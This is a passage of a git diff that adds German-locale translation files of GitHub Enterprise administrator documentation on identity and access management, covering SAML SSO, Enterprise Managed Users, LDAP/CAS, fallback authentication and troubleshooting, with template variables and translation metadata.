+  - /admin/enterprise-management/monitoring-your-appliance/about-system-logs
+  - /admin/enterprise-support/about-github-enterprise-support
+  - /admin/github-actions/about-using-actions-in-your-enterprise
+  - /admin/github-actions/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled
+  - /admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect
+  - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise
+  - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server
+  - /admin/github-actions/high-availability-for-github-actions
+  - /admin/github-actions/using-a-staging-environment
+  - /admin/overview/about-data-residency
+  - /admin/overview/about-enterprise-accounts
+  - /admin/overview/about-github-ae
+  - /admin/overview/about-upgrades-to-new-releases
+  - /admin/packages/configuring-package-ecosystem-support-for-your-enterprise
+  - /admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages
+  - /admin/policies/about-pre-receive-hooks
+  - /admin/policies/creating-a-pre-receive-hook-environment
+  - /admin/policies/creating-a-pre-receive-hook-script
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-projects-in-your-enterprise
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise
+  - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise
+  - /admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise
+  - /admin/policies/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
+  - /admin/user-management/about-migrations
+  - /admin/user-management/adding-people-to-teams
+  - /admin/user-management/auditing-ssh-keys
+  - /admin/user-management/auditing-users-across-your-enterprise
+  - /admin/user-management/configuring-git-large-file-storage-for-your-enterprise
+  - /admin/user-management/configuring-visibility-for-organization-membership
+  - /admin/user-management/continuous-integration-using-jenkins
+  - /admin/user-management/creating-teams
+  - /admin/user-management/disabling-git-ssh-access-on-your-enterprise
+  - /admin/user-management/exporting-migration-data-from-githubcom
+  - /admin/user-management/exporting-migration-data-from-your-enterprise
+  - /admin/user-management/importing-data-from-third-party-version-control-systems
+  - /admin/user-management/managing-dormant-users
+  - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise
+  - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise
+  - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise
+  - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise
+  - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise
+  - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise
+  - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise
+  - /admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise
+  - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard
+  - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs
+  - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding
+  - /admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks
+  - /admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise
+  - /admin/user-management/managing-projects-using-jira
+  - /admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
+  - /admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise
+  - /admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise
+  - /admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise
+  - /admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise
+  - /admin/user-management/migrating-data-to-your-enterprise
+  - /admin/user-management/migrating-to-internal-repositories
+  - /admin/user-management/placing-a-legal-hold-on-a-user-or-organization
+  - /admin/user-management/preparing-to-migrate-data-to-your-enterprise
+  - /admin/user-management/preventing-users-from-creating-organizations
+  - /admin/user-management/rebuilding-contributions-data
+  - /admin/user-management/removing-users-from-teams-and-organizations
+  - /admin/user-management/requiring-two-factor-authentication-for-an-organization
+  - /admin/user-management/suspending-and-unsuspending-users
+  - /admin/overview/creating-an-enterprise-account
+  - /admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization
+ms.openlocfilehash: 832e990d9b1c30895fce286f1357ef540a96af6f
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147854124'
+---
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/index.md b/translations/de-DE/content/admin/identity-and-access-management/index.md
new file mode 100644
index 0000000000..477ee3ba03
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/index.md
@@ -0,0 +1,25 @@
+---
+title: Identity and access management
+intro: 'You can configure how people access {% ifversion ghec or ghae %}your enterprise on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% endif %}.'
+redirect_from:
+  - /enterprise/admin/authentication
+  - /admin/authentication
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - SSO
+children:
+  - /managing-iam-for-your-enterprise
+  - /using-built-in-authentication
+  - /using-cas-for-enterprise-iam
+  - /using-ldap-for-enterprise-iam
+  - /using-saml-for-enterprise-iam
+  - /using-enterprise-managed-users-for-iam
+  - /managing-recovery-codes-for-your-enterprise
+---
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md
new file mode 100644
index 0000000000..c060a0b236
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md
@@ -0,0 +1,148 @@
+---
+title: About authentication for your enterprise
+shortTitle: About authentication
+intro: 'You {% ifversion ghae %}must configure SAML single sign-on (SSO) so people can{% else %}can choose how people{% endif %} authenticate to access {% ifversion ghec %}your enterprise''s resources on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: overview
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+---
+
+## About authentication for your enterprise
+
+{% ifversion ghec %}
+
+Enterprise owners on {% data variables.product.product_name %} can control the requirements for authentication and access to the enterprise's resources. 
+
+{% data reusables.enterprise.ghec-authentication-options %}
+
+After learning more about these options, to determine which method is best for your enterprise, see "[Identifying the best authentication method for your enterprise](#identifying-the-best-authentication-method-for-your-enterprise)."
+
+## Authentication methods for {% data variables.product.product_name %}
+
+The following options are available for account management and authentication on {% data variables.product.product_name %}.
+
+- [Authentication through {% data variables.location.product_location %}](#authentication-through-githubcom)
+- [Authentication through {% data variables.location.product_location %} with additional SAML access restriction](#authentication-through-githubcom-with-additional-saml-access-restriction)
+- [Authentication with {% data variables.product.prodname_emus %} and federation](#authentication-with-enterprise-managed-users-and-federation)
+
+### Authentication through {% data variables.location.product_location %}
+
+By default, each member must create a personal account on {% data variables.location.product_location %}. You grant access to your enterprise, and the member can access your enterprise's resources after signing into the account on {% data variables.location.product_location %}. The member manages the account, and can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %}.
+
+### Authentication through {% data variables.location.product_location %} with additional SAML access restriction
+
+If you configure additional SAML access restriction, each member must create and manage a personal account on {% data variables.location.product_location %}. You grant access to your enterprise, and the member can access your enterprise's resources after both signing into the account on {% data variables.location.product_location %} and successfully authenticating with your SAML identity provider (IdP). The member can contribute to other enterprises, organizations, and repositories on {% data variables.location.product_location %} using their personal account. For more information about requiring SAML authentication for all access your enterprise's resources, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)."
+
+If you use a standalone organization with {% data variables.product.product_name %}, or if you don't want to use SAML authentication for every organization in your enterprise, you can configure SAML for an individual organization. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
+
+### Authentication with {% data variables.product.prodname_emus %} and federation
+
+If you need more control of the accounts for your enterprise members on {% data variables.location.product_location %}, you can use {% data variables.product.prodname_emus %}. With {% data variables.product.prodname_emus %}, you provision and manage accounts for your enterprise members on {% data variables.location.product_location %} using your IdP. Each member signs into an account that you create, and your enterprise manages the account. Contributions to the rest of {% data variables.product.prodname_dotcom_the_website %} are restricted. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)."
+
+## Identifying the best authentication method for your enterprise
+
+Both SAML SSO and {% data variables.product.prodname_emus %} increase security for your enterprise's resources. {% data variables.product.prodname_emus %} additionally allows you to control the user accounts for your enterprise members and restricts what the accounts are able to do. However, those restrictions may be unacceptable for your enterprise if they obstruct your developers' workflows.
+
+To determine whether your enterprise would benefit more from SAML SSO or {% data variables.product.prodname_emus %}, ask yourself these questions.
+
+- [Do you want to control the user accounts for your users?](#do-you-want-to-control-the-user-accounts-for-your-users)
+- [Which identity provider does your enterprise use?](#which-identity-provider-does-your-enterprise-use)
+- [Do your developers work in public repositories, gists, or {% data variables.product.prodname_pages %} sites?](#do-your-developers-work-in-public-repositories-gists-or-github-pages-sites)
+- [Do your developers rely on collaboration outside of your enterprise?](#do-your-developers-rely-on-collaboration-outside-of-your-enterprise)
+- [Does your enterprise rely on outside collaborators?](#does-your-enterprise-rely-on-outside-collaborators)
+- [Can your enterprise tolerate migration costs?](#can-your-enterprise-tolerate-migration-costs)
+
+### Do you want to control the user accounts for your users?
+
+{% data variables.product.prodname_emus %} may be right for your enterprise if you don't want enterprise members to use their own personal accounts on {% data variables.product.prodname_dotcom_the_website %} to access your enterprise's resources. 
+
+With SAML SSO, developers create and manage their own personal accounts, and each account is linked to a SAML identity in your IdP. {% data variables.product.prodname_emus %} functions more like other familiar SSO solutions, as you will provision the accounts for your users. You can also ensure user accounts conform with your company identity, by controlling usernames and the email addresses associated with the accounts. 
+
+If you currently require your users to create a new account on {% data variables.product.prodname_dotcom_the_website %} to use with your enterprise only, {% data variables.product.prodname_emus %} might be right for you. However, SAML SSO may be a better option if using your IdP as the source of truth for your user and access management would add too much complexity. For example, perhaps your enterprise does not have an established process for onboarding new users in your IdP.
+
+### Which identity provider does your enterprise use?
+
+{% data variables.product.prodname_emus %} is supported for a limited number of IdPs, while SAML SSO offers full support for a larger number of IdPs, plus limited support for all IdPs that implement the SAML 2.0 standard. For the list of supported IdPs for each option, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#identity-provider-support)" and "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam#supported-idps)."
+
+You can use {% data variables.product.prodname_emus %} with an unsupported IdP only if you federate the unsupported IdP to a supported IdP to use as an integration point. If you wish to avoid this extra complexity, SAML SSO may be a better solution for you.
+
+### Do your developers work in public repositories, gists, or {% data variables.product.prodname_pages %} sites?
+
+To prevent enterprise members from accidentally leaking corporate-owned content to the public on {% data variables.product.prodname_dotcom_the_website %}, {% data variables.product.prodname_emus %} imposes strong restrictions on what users can do. For example, {% data variables.enterprise.prodname_managed_users %} cannot create public repositories, gists of any visibility, or {% data variables.product.prodname_pages %} sites that are visible outside the enterprise. For a full list of restrictions, see "[Abilities and restrictions of {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#abilities-and-restrictions-of-managed-users)."
+
+These restrictions are unacceptable for some enterprises. To determine whether {% data variables.product.prodname_emus %} will work for you, review the restrictions with your developers, and confirm whether any of the restrictions will hinder your existing workflows. If so, SAML SSO may be a better choice for your enterprise.
+
+### Do your developers rely on collaboration outside of your enterprise?
+
+{% data variables.enterprise.prodname_managed_users_caps %} can only contribute to repositories within your enterprise. If your developers must contribute to both repositories within and outside of your enterprise, including private repositories, {% data variables.product.prodname_emus %} may not be right for your enterprise. SAML SSO may be a better solution.
+
+Some companies maintain repositories within an existing enterprise using SAML SSO on {% data variables.location.product_location %}, and also create an {% data variables.enterprise.prodname_emu_enterprise %}. Developers who contribute to repositories owned by both enterprises from a single workstation must switch between the accounts on {% data variables.location.product_location %} within a single browser, or use a different browser for each account. The developer may also need to customize the workstation's Git configuration to accommodate the two accounts. The complexity of this workflow can increase the risk of mistakenly leaking internal code to the public.
+
+If you decide to create an {% data variables.enterprise.prodname_emu_enterprise %} but require that developers contribute to resources outside of the enterprise from a single workstation, you can provide support for switching between the accounts in a developer's local Git configuration. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users#supporting-developers-with-multiple-user-accounts-on-githubcom)."
+
+### Does your enterprise rely on outside collaborators?
+
+With SAML SSO, you can give access to specific repositories to people who are not members of your IdP's directory, by using the outside collaborator role. This can be especially useful for collaborators that are external to your business, such as contractors. For more information, see "[Adding outside collaborators to repositories in your organization](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization)."
+
+With {% data variables.product.prodname_emus %}, the outside collaborator role does not exist. Your enterprise's resources can only be accessed by {% data variables.enterprise.prodname_managed_users %}, which are always provisioned by your IdP. To give external collaborators access to your enterprise, you would have to use guest accounts in your IdP. If you're interested in {% data variables.product.prodname_emus %}, confirm with your developers whether this will hinder any of their existing workflows. If so, SAML SSO may be a better solution.
+
+### Can your enterprise tolerate migration costs?
+
+If your enterprise is new to {% data variables.product.prodname_dotcom_the_website %}, SAML SSO and {% data variables.product.prodname_emus %} are equally easy to adopt.
+
+If you're already using {% data variables.product.prodname_dotcom_the_website %} with developers managing their own user accounts, adopting {% data variables.product.prodname_emus %} requires migrating to a new enterprise account. For more information, see "[About enterprises with {% data variables.enterprise.prodname_managed_users %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users#about-enterprises-with-managed-users)."
+
+Although {% data variables.product.prodname_emus %} is free, the migration process may require time or cost from your team. Confirm that this migration process is acceptable to your business and your developers. If not, SAML SSO may be the better choice for you.
+
+{% elsif ghes %}
+
+Site administrators can decide how people authenticate to access a {% data variables.product.product_name %} instance. You can use {% data variables.product.product_name %}'s built-in authentication, or, if you want to centralize identity and access management for the web applications that your team uses, you can configure an external authentication method.
+
+## Authentication methods for {% data variables.product.product_name %}
+
+The following authentication methods are available for {% data variables.product.product_name %}.
+
+- [Built-in authentication](#built-in-authentication)
+- [External authentication](#external-authentication)
+
+### Built-in authentication
+
+{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} To access your instance, people authenticate with the credentials for the account. For more information, see "[Configuring built-in authentication](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)."
+
+### External authentication
+
+If you use an external directory or identity provider (IdP) to centralize access to multiple web applications, you may be able to configure external authentication for {% data variables.location.product_location %}. For more information, see the following articles.
+
+- "[Using CAS for enterprise IAM](/admin/identity-and-access-management/using-cas-for-enterprise-iam)"
+- "[Using LDAP for enterprise IAM](/admin/identity-and-access-management/using-ldap-for-enterprise-iam)"
+- "[Using SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam)"
+
+If you choose to use external authentication, you can also configure fallback authentication for people who don't have an account on your external authentication provider. For example, you may want to grant access to a contractor or machine user. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)."
+
+{% ifversion scim-for-ghes %}
+
+If you use SAML SSO for authentication, you can also provision users and map IdP groups to teams using SCIM. For more information, see "[Configuring user provisioning with SCIM for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)."
+
+{% endif %}
+
+{% elsif ghae %}
+
+{% data variables.product.product_name %} uses SAML SSO for authentication. Enterprise owners must configure SAML SSO with a SAML identity provider (IdP) during initialization. For more information, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)."
+
+{% endif %}
+
+## Further reading
+
+- "[Types of {% data variables.product.company_short %} accounts](/get-started/learning-about-github/types-of-github-accounts)"
+- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
+{%- ifversion ghec %}
+- "[Can I create accounts for people in my organization?](/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization)"
+{% endif %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider.md b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider.md
new file mode 100644
index 0000000000..0a57d6369a
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider.md
@@ -0,0 +1,61 @@
+---
+title: Zulassen integrierter Authentifizierung für Benutzer*innen außerhalb deines Anbieters
+intro: 'Du kannst Fallbackauthentifizierung konfigurieren, um integrierte Authentifizierung für Personen zu ermöglichen, die kein Konto bei deinem CAS-, LDAP- oder SAML-Authentifizierungsanbieter haben.'
+redirect_from:
+  - /enterprise/admin/user-management/allowing-built-in-authentication-for-users-outside-your-identity-provider
+  - /enterprise/admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider
+  - /admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider
+  - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider
+  - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+shortTitle: Fallback authentication
+ms.openlocfilehash: d011a710898e19dfdfa3591cbba2cbf7ae629885
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064434'
+---
+## Informationen zur integrierten Authentifizierung für Benutzer*innen außerhalb deines Anbieters
+
+Wenn du die externe Authentifizierung für {% data variables.product.product_name %} aktivierst, wird standardmäßig die integrierte Authentifizierung für deine Instanz deaktiviert. Weitere Informationen findest du unter [Informationen zur Authentifizierung für dein Unternehmen](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication).
+
+Wenn du deinem externen Authentifizierungsanbieter keine bestimmten Konten hinzufügen kannst, z. B. Konten für Auftragnehmer*innen oder Computerbenutzer*innen, kannst du die Fallbackauthentifizierung konfigurieren. Die Fallbackauthentifizierung ermöglicht eine integrierte Authentifizierung für externe Benutzer*innen sowie Zugriff auf ein Fallbackkonto, wenn dein Authentifizierungsanbieter nicht verfügbar ist.
+
+Wenn du die integrierte Authentifizierung konfiguriert hast und eine Person sich erfolgreich mit SAML oder CAS authentifiziert hat, kann sie sich nicht mehr mittels Benutzername und Kennwort authentifizieren. Wenn sich ein Benutzer erfolgreich mit LDAP authentifiziert, werden die Anmeldeinformationen nicht mehr als intern erachtet.
+
+{% warning %}
+
+**Warnung**: Falls du die integrierte Authentifizierung deaktivierst, musst du die Benutzer einzeln sperren, die nicht mehr auf die Instanz zugreifen sollen. Weitere Informationen findest du unter [Sperren und Entsperren von Benutzern](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users).
+
+{% endwarning %}
+
+## Konfigurieren der integrierten Authentifizierung für Benutzer*innen außerhalb deines Anbieters
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %}
+4. Wähle den gewünschten Identity Provider aus.
+  ![Option zur Auswahl des Identity Providers](/assets/images/enterprise/management-console/identity-provider-select.gif)
+5. Wähle **Kontoerstellung mit integrierter Authentifizierung zulassen** aus.
+  ![Option zur Auswahl der integrierten Authentifizierung](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png)
+6. Lies die Warnung, und klicke dann auf **OK**.
+
+{% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.2fa_is_available %}
+
+## Einladen von Benutzer*innen von außerhalb deines Anbieters zum Authentifizieren bei deiner Instanz
+
+Wenn ein Benutzer die Einladung akzeptiert, kann er sich anstatt über den IdP mittels Benutzername und Passwort anmelden.
+
+{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} {% data reusables.enterprise_site_admin_settings.invite-user-reset-link %}
+
+## Weiterführende Themen
+
+- [Verwenden von CAS for Enterprise IAM](/admin/identity-and-access-management/using-cas-for-enterprise-iam)
+- [Verwenden von LDAP for Enterprise IAM](/admin/identity-and-access-management/using-ldap-for-enterprise-iam)
+- [Verwenden von SAML for Enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam)
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md
new file mode 100644
index 0000000000..85b2acf6bd
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/changing-authentication-methods.md
@@ -0,0 +1,42 @@
+---
+title: Changing authentication methods
+intro: 'You can change the way {% data variables.product.prodname_ghe_server %} authenticates with your existing accounts at any time.'
+redirect_from:
+  - /enterprise/admin/user-management/changing-authentication-methods
+  - /enterprise/admin/authentication/changing-authentication-methods
+  - /admin/authentication/changing-authentication-methods
+  - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/changing-authentication-methods
+  - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/changing-authentication-methods
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+shortTitle: Change authentication methods
+---
+User accounts on {% data variables.location.product_location %} are preserved when you change the authentication method and users will continue to log into the same account as long as their username doesn't change.
+
+If the new method of authentication changes usernames, new accounts will be created. As an administrator, you can rename users through the site admin settings or by using [the User Administration API](/rest/reference/enterprise-admin#update-the-username-for-a-user).
+
+Other issues you should take into consideration include:
+
+* **Passwords:** If you switch to using built-in authentication for your instance, users must [set a password](/enterprise/user/articles/how-can-i-reset-my-password/) after the change is completed.
+
+* **Site administrators:** Administrative privileges are [controlled by your identity provider when you use SAML](/enterprise/admin/guides/user-management/using-saml/#saml-attributes) and can be [controlled by group membership when you use LDAP](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance).
+
+* **Team membership:** Only LDAP lets you [control team membership](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance) from your directory server.
+
+* **User suspension:** When you use LDAP to authenticate, access to {% data variables.product.prodname_ghe_server %} can be controlled via _restricted groups_. After switching to LDAP, if restricted groups are configured, existing users who are not in one of those groups will be suspended. Suspension will occur either when they log in or during the next LDAP Sync.
+
+* **Group membership:** When you use LDAP to authenticate, users are automatically [suspended and unsuspended](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users) based on restricted group membership and account status with Active Directory.
+
+* **Git authentication:** SAML and CAS only supports Git authentication over HTTP or HTTPS using a [{% data variables.product.pat_generic %}](/articles/creating-an-access-token-for-command-line-use). Password authentication over HTTP or HTTPS is not supported. LDAP supports password-based Git authentication by default, but we recommend that you [disable that method](/enterprise/admin/authentication/using-ldap#disabling-password-authentication-for-git-operations) and force authentication via a {% data variables.product.pat_generic %} or SSH key.
+
+* **API authentication:** SAML and CAS only supports API authentication using a [{% data variables.product.pat_generic %}](/articles/creating-an-access-token-for-command-line-use). Basic authentication is not supported.
+
+* **Two-factor authentication:** {% data reusables.enterprise_user_management.external_auth_disables_2fa %}
+
+* **Fallback authentication for users with no account on your external authentication provider:** You can invite users to authenticate to {% data variables.location.product_location %} without adding them to your identity provider. For more information, see "[Allowing built-in authentication for users outside your provider](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)."
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md
new file mode 100644
index 0000000000..f43f417986
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/index.md
@@ -0,0 +1,36 @@
+---
+title: Managing IAM for your enterprise
+intro: |
+  {%- ifversion ghec %}
+  You can invite existing personal accounts on {% data variables.location.product_location %} to be members of your enterprise, and you can optionally enable SAML single sign-on (SSO) to centrally manage access. Alternatively, you can use {% data variables.product.prodname_emus %} with SAML SSO to create and control the accounts of your enterprise members.
+  {%- elsif ghes %}
+  You can use {% data variables.product.product_name %}'s built-in authentication, or you can centrally manage authentication and access to your instance with CAS, LDAP, or SAML.
+  {%- elsif ghae %}
+  You must use SAML single sign-on (SSO) to centrally manage authentication and access to your enterprise on {% data variables.product.product_name %}. Optionally, you can use System for Cross-domain Identity Management (SCIM) to automatically provision accounts and access on {% data variables.product.product_name %} when you make changes on your identity provider (IdP).
+  {%- endif %}
+redirect_from:
+  - /enterprise/admin/categories/authentication
+  - /enterprise/admin/guides/installation/user-authentication
+  - /enterprise/admin/articles/inviting-users
+  - /enterprise/admin/guides/migrations/authenticating-users-for-your-github-enterprise-instance
+  - /enterprise/admin/user-management/authenticating-users-for-your-github-enterprise-server-instance
+  - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance
+  - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+children:
+  - /about-authentication-for-your-enterprise
+  - /username-considerations-for-external-authentication
+  - /changing-authentication-methods
+  - /allowing-built-in-authentication-for-users-outside-your-provider
+  - /troubleshooting-identity-and-access-management-for-your-enterprise
+shortTitle: Manage IAM for your enterprise
+---
+
diff --git a/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise.md b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise.md
new file mode 100644
index 0000000000..ef1834ae7a
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise.md
@@ -0,0 +1,49 @@
+---
+title: Problembehandlung bei der Identitäts- und Zugriffsverwaltung deines Unternehmens
+shortTitle: Troubleshoot IAM
+intro: Überprüfe häufige Probleme und Lösungen bei der Identitäts- und Zugriffsverwaltung deines Unternehmens.
+versions:
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - Security
+  - SSO
+  - Troubleshooting
+ms.openlocfilehash: 7b8c42a1012e91268f4315d99934a4f38c52a529
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107533'
+---
+## Benutzernamenkonflikte
+
+{% ifversion ghec %}Wenn dein Unternehmen {% data variables.product.prodname_emus %} verwendet, normalisiert {% endif %}{% data variables.product.product_name %} einen von deinem Identitätsanbieter (IdP) bereitgestellten Bezeichner zum Erstellen der Benutzernamen aller Personen auf {% data variables.product.prodname_dotcom %}. Wenn mehrere Konten zum selben Benutzernamen auf {% data variables.product.prodname_dotcom %} normalisiert werden, ergibt sich ein Benutzernamenkonflikt, und nur das erste Benutzerkonto wird erstellt. Weitere Informationen findest du unter [Überlegungen zu Benutzernamen zur externen Authentifizierung](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication).
+
+{% ifversion ghec %}
+## Fehler beim Wechseln von Authentifizierungskonfigurationen
+
+Wenn beim Wechseln zwischen verschiedenen Authentifizierungskonfigurationen Probleme auftreten, z. B. wenn du deine SAML-SSO-Konfiguration von einer Organisation zu einem Enterprise-Konto änderst oder für {% data variables.product.prodname_emus %} von SAML zu OIDC migrierst, stelle sicher, dass du die bewährten Methoden anwendest.
+
